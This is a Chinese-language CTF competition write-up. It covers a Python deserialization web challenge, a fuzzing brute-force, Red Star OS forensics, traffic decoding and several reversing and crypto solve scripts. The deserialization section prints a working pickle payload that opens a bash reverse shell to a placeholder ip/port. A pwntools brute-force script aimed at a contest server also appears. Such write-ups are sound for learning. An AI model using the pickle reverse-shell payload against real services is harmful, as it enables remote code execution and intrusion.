WriteUP
TIP:可以留言给我换友链捏
第一次打ctf 之前只会做服务器取证 不知道为什么就第二了 可能运气比较好吧
由于我自己目前在取证工作中,也遇到很多ctf的问题,我个人非常喜欢做ctf的题目,但也会遇到ctf问题难以破解,全网ctf教程我都看完了,但是都觉得不够具体,所以我写一篇博客,希望以最具体的,实操演示的方式,向大家说明ctf的原理,希望与大家一起进步!
MyFavorPython
看看题 开局给了个登录界面 注册个账户直接进入
看到个Python unserialize的界面
推测是打Python反序列化漏洞
构造POC如下:
import base64
payload=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
tR.
'''
print(base64.b64encode(payload))
#ip和port自己填下
反弹shell后直接cat /flag.txt
Fuzzzz
nc起手 试了几下在找到两个hint
提示len(random_str)=3 secret的长度为10
直接输入10个字符遍历一下
发现有些会变成+
推测+代表正确的字符
遍历出固定的字符为S4PcSec后直接写个爆破脚本
不会写的同学去给GPT嗦牛牛让他帮你
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
context.log_level='debug'
from pwn import *
import string
# 连接到服务器
conn = remote('116.62.53.46', 2333)
# 爆破后三位字符
correct_strings = []
for char1 in string.printable:
test_string = 'S4PcSec' + char1 + char1 + char1
# 发送选项并接收
conn.recvuntil('Choose an option(1 or 2):')
conn.sendline('1')
conn.recvuntil('Fuzz>')
# 发送测试字符串
conn.sendline(test_string)
# 接收服务器响应
response = conn.recvline().strip()
# 根据 '+' 的位置确定哪个字符是正确的
correct_char_index = response.find('+')
if correct_char_index != -1:
correct_char = test_string[correct_char_index]
correct_strings.append(test_string[:7] + correct_char + test_string[8:])
print("Correct string found: %s" % correct_strings[-1])
# 统计正确的字符串数量
print("Total correct strings found: %d" % len(correct_strings))
# 发送正确的字符串给服务器
for string in correct_strings:
conn.sendline(string)
# 关闭连接
conn.close()
可恶的黑客
看题目简介 推测是朝鲜红星系统
记得之前看过一篇
https://xz.aliyun.com/t/13379?time__1311=mqmxnDBG0Q0%3DDQ%3DDsNoYIIPWwEi8D9GQnYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F
直接根据这篇打
https://github.com/takeshixx/redstar-tools
在此之前还需要找到被修改的图片
这个直接火眼一把梭出来发现是1539.png
直接解密发现不行 010发现是图片后面有一段冗余 以及数据校验长度不对
修改成如下图
解密得到flag
Playing_A2
没玩过红警(
解压文件发现有个FLAG.SHP
搜了下发现是贴图资源文件
用地图编辑器和资源解包器都行
肉眼看出flag{RA2_YES!}
Ez_Ant
最简单的一题…(
蚁剑把返回包前面的随机字符串去掉
直接逐个流量base64解密过去就行
懒得写了
问卷
真有人会写问卷WP?
Ez_encrypt
不会Crypto 直接把脚本喂给GPT(
def XOR(word, key):
result = ""
for char in word:
result += chr(ord(char) ^ key)
return result
def decrypt(cipher):
tmp = len(cipher) // 2
x = cipher[:tmp]
y = cipher[tmp:]
R = XOR(y, 2)
L = ""
for i, char in enumerate(x):
L += chr(ord(char) ^ ord(XOR(R, 18)[i]))
R2 = XOR(L, 2)
L1 = ""
for i, char in enumerate(R):
L1 += chr(ord(char) ^ ord(XOR(R2, 17)[i]))
flag = L1 + R2
return flag
with open(r"C:\Users\25722\Downloads\task\cipher.txt", "r") as file:
cipher = file.read().strip()
flag1 = decrypt(cipher)
print(flag1,end='')
c2 = [119, 107, 102, 97, 58, 114, 122, 124, 108, 122, 72, 45, 49, 48, 44, 49, 51, 141]
key = [''] * len(c2)
k = 0
for i in range(len(c2)):
num = c2[i] ^ (k % 3 + 1)
key[i] = chr(num - i)
num = c2[len(c2) - i - 1] ^ (k % 3 + 1)
key[len(c2) - i - 1] = chr((num + i + 1 - len(c2)))
k += 1
flag2 = ''.join(key)
print(flag2)
ezpyc
直接反编译不了 用pycdas嗦一下
然后喂给GPT搓脚本
源代码如下:
EXP:
import base64
def decode(encoded_string):
str2 = list(encoded_string)
for l in range(43, 32, -1):
str2[l] = chr((ord(str2[l]) ^ 3) % 256)
for h in range(32,21,-1):
str2[h] = chr((ord(str2[h]) ) % 256)
for k in range(21, 10, -1):
str2[k] = chr((ord(str2[k]) - 1) % 256)
for j in range(10, -1, -1):
str2[j] = chr((ord(str2[j]) + 6) % 256)
for i in range(len(str2)-1,-1,-1):
str2[i] = chr((ord(str2[i]) ^ 2) % 256)
env = ''.join(str2)
#return env
decoded_string = base64.b64decode(env).decode('utf-8')
return decoded_string
# 带入check中的密文进行解密
encoded_string = 'RitdR+kuGPFoYpX4NVP{PVOx[VSzXhLnO{L2Xkj3[l[8]'
decoded_string = decode(encoded_string)
print(decoded_string)
#flag{293efe59c11c3a41f3e337b96ff}
Ezlua
这题考的是lua.out的魔改版本问题 010改版本即可
然后用https://luadec.metaworm.site/
其实代码里面内置了一个解密函数 直接改一下调用(
这里本地跑一直有问题 不知道为啥
在线运行一下(
Ezrust
这题其实找到特征就很简单 是个rc4魔改
直接上脚本好了
class RC4:
def __init__(self):
self.s = bytearray([
68, 32, 130, 60, 253, 230, 241, 194, 107, 48, 249, 14, 199, 221, 1, 228,
136, 117, 52, 162, 15, 11, 13, 4, 195, 110, 216, 14, 113, 224, 253, 119,
176, 118, 112, 235, 148, 11, 213, 51, 95, 151, 61, 170, 216, 97, 155, 145,
255, 201, 17, 245, 124, 206, 212, 88, 187, 191, 44, 224, 55, 83, 201, 189,
250, 15, 240, 22, 157, 201, 87, 86, 116, 6, 102, 118, 207, 176, 180, 235,
137, 2, 196, 66, 105, 218, 28, 246, 186, 102, 211, 248, 182, 212, 177, 0,
169, 234, 14, 117, 90, 92, 46, 130, 16, 36, 42, 8, 231, 7, 143, 127, 137,
56, 94, 176, 148, 35, 85, 81, 130, 86, 139, 150, 232, 164, 254, 242, 58,
12, 159, 197, 175, 215, 96, 132, 55, 129, 107, 221, 10, 115, 9, 203, 74,
18, 82, 228, 218, 112, 230, 114, 15, 202, 164, 218, 30, 152, 64, 108, 24,
156, 36, 39, 158, 152, 81, 213, 129, 66, 4, 19, 111, 235, 87, 19, 193, 102,
177, 50, 105, 221, 99, 252, 53, 199, 151, 255, 8, 166, 205, 144, 9, 80, 102,
167, 69, 173, 219, 109, 136, 49, 194, 176, 248, 120, 33, 20, 43, 68, 86, 85,
109, 137, 170, 130, 188, 173, 174, 58, 149, 120, 250, 69, 53, 164, 20, 208,
37, 194, 75, 64, 174, 58, 193, 39, 114, 41, 136, 186, 151, 58, 234, 141, 55,
23, 151, 6, 7, 46, 211, 58, 20, 96, 122, 215
])
def transform(self, data):
i = j = 0
output = bytearray(len(data))
for k in range(len(data)):
i = (i + 1) % 256
j = (j + self.s[i]) % 256
self.s[i], self.s[j] = self.s[j], self.s[i]
key = self.s[(self.s[i] + self.s[j]) % 256]
output[k] = key ^ data[k] ^ i
return output
def main():
rc4 = RC4()
ciphertext = bytearray([
0x4c, 0x3f, 0xb6, 0x3b, 0xaa, 0xb1, 0x2a, 0xfe, 0x32, 0xa6, 0x34, 0x81, 0xf8,
0x67, 0x9c, 0x93, 0xcb, 0xbd, 0x41, 0xa1, 0x40, 0x47, 0x8e, 0x62, 0x97, 0x27,
0x96, 0xb1, 0xca, 0xd1, 0x1b, 0x28, 0x8, 0x7c, 0xd0, 0xba, 0x72, 0x90, 0xac,
0x96, 0x3d, 0x6, 0xde
])
plaintext = rc4.transform(ciphertext)
# Use plaintext
decrypted_plaintext = plaintext.decode('utf-8')
print("Decrypted plaintext:", decrypted_plaintext)
if __name__ == "__main__":
main()
#flag{5174e107-e817-1874-fa73-7b29c90976da}